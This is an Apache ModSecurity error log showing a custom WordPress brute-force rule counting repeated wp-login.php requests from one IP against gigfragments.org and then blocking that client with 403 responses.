[Fri Feb 27 20:55:30.227956 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:58594] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUQsKBhrfI6KNv9RiulAAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:31.058343 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:58602] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUQ8KBhrfI6KNv9RiunAAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:31.930067 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUQ8KBhrfI6KNv9RiungAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:34.424615 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGURsKBhrfI6KNv9RiutQAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:35.630930 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUR8KBhrfI6KNv9RiuugAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:38.136129 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUSsKBhrfI6KNv9RiuyAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:39.344708 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUS8KBhrfI6KNv9RiuzgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:41.815840 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUTcKBhrfI6KNv9Riu3wAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:43.025920 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUT8KBhrfI6KNv9Riu6AAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:45.578164 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUUcKBhrfI6KNv9Riu8gAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:46.774853 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUUsKBhrfI6KNv9Riu9QAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:49.286798 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUVcKBhrfI6KNv9RivBgAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:50.491463 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUVsKBhrfI6KNv9RivDQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:53.058659 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUWcKBhrfI6KNv9RivFgAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:54.250693 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUWsKBhrfI6KNv9RivGwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:57.050801 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUXcKBhrfI6KNv9RivIQAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:55:58.272457 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUXsKBhrfI6KNv9RivJgAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:00.915189 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUYMKBhrfI6KNv9RivKwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:00.915189 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:58608] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUYMKBhrfI6KNv9RivKwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:01.830543 2026] [:error] [pid 54231:tid 54234] [client 159.203.62.100:60192] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUYeTvb5AeyJCdY7AIwwAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:02.691735 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:60202] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUYoa650YPyxXVeRY5YAAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:03.546926 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:60218] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUY4a650YPyxXVeRY5ZAAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:04.392209 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUZIa650YPyxXVeRY5bgAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:07.050046 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUZ4a650YPyxXVeRY5iwAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:08.255198 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUaIa650YPyxXVeRY5kQAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:10.833972 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUaoa650YPyxXVeRY5kwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:12.074906 2026] [:error] [pid 52073:tid 52082] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUbIa650YPyxXVeRY5mAAAAYY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:14.659637 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUboa650YPyxXVeRY5nAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:15.855501 2026] [:error] [pid 52073:tid 52076] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUb4a650YPyxXVeRY5pgAAAYA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:18.475837 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUcoa650YPyxXVeRY5sQAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:19.710106 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUc4a650YPyxXVeRY5uQAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:19.710179 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:60232] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUc4a650YPyxXVeRY5uQAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:21.848066 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUdYa650YPyxXVeRY5vwAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:23.064094 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUd4a650YPyxXVeRY5yAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:25.734538 2026] [:error] [pid 52073:tid 52076] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUeYa650YPyxXVeRY5zgAAAYA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:27.014654 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUe4a650YPyxXVeRY50AAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:29.577320 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUfYa650YPyxXVeRY51QAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:30.801116 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUfoa650YPyxXVeRY52AAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:33.375761 2026] [:error] [pid 52073:tid 52100] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUgYa650YPyxXVeRY53QAAAZg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:34.782641 2026] [:error] [pid 52073:tid 52076] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUgoa650YPyxXVeRY54gAAAYA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:37.700327 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUhYa650YPyxXVeRY56AAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:38.949276 2026] [:error] [pid 52073:tid 52082] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUhoa650YPyxXVeRY56wAAAYY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:41.627378 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUiYa650YPyxXVeRY57QAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:42.825379 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUioa650YPyxXVeRY57wAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:45.999446 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUjYa650YPyxXVeRY5_AAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:47.189694 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUj4a650YPyxXVeRY6AQAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:49.700096 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUkYa650YPyxXVeRY6BQAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:49.700158 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:49422] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUkYa650YPyxXVeRY6BQAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:50.567117 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:35314] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUksKBhrfI6KNv9Riv7wAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:51.402710 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:35316] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUk8KBhrfI6KNv9Riv9AAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:52.242514 2026] [:error] [pid 54103:tid 54193] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUlOvG4MPCmE0B2sCftwAAANY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:54.763441 2026] [:error] [pid 54103:tid 54175] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUluvG4MPCmE0B2sCfugAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:55.995482 2026] [:error] [pid 54103:tid 54170] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUl-vG4MPCmE0B2sCfuwAAAMA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:58.554858 2026] [:error] [pid 54103:tid 54189] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUmuvG4MPCmE0B2sCfvgAAANI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:56:59.765771 2026] [:error] [pid 54103:tid 54174] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUm-vG4MPCmE0B2sCfvwAAAMM"], referer: https://gigfragments.org/wp-login.php
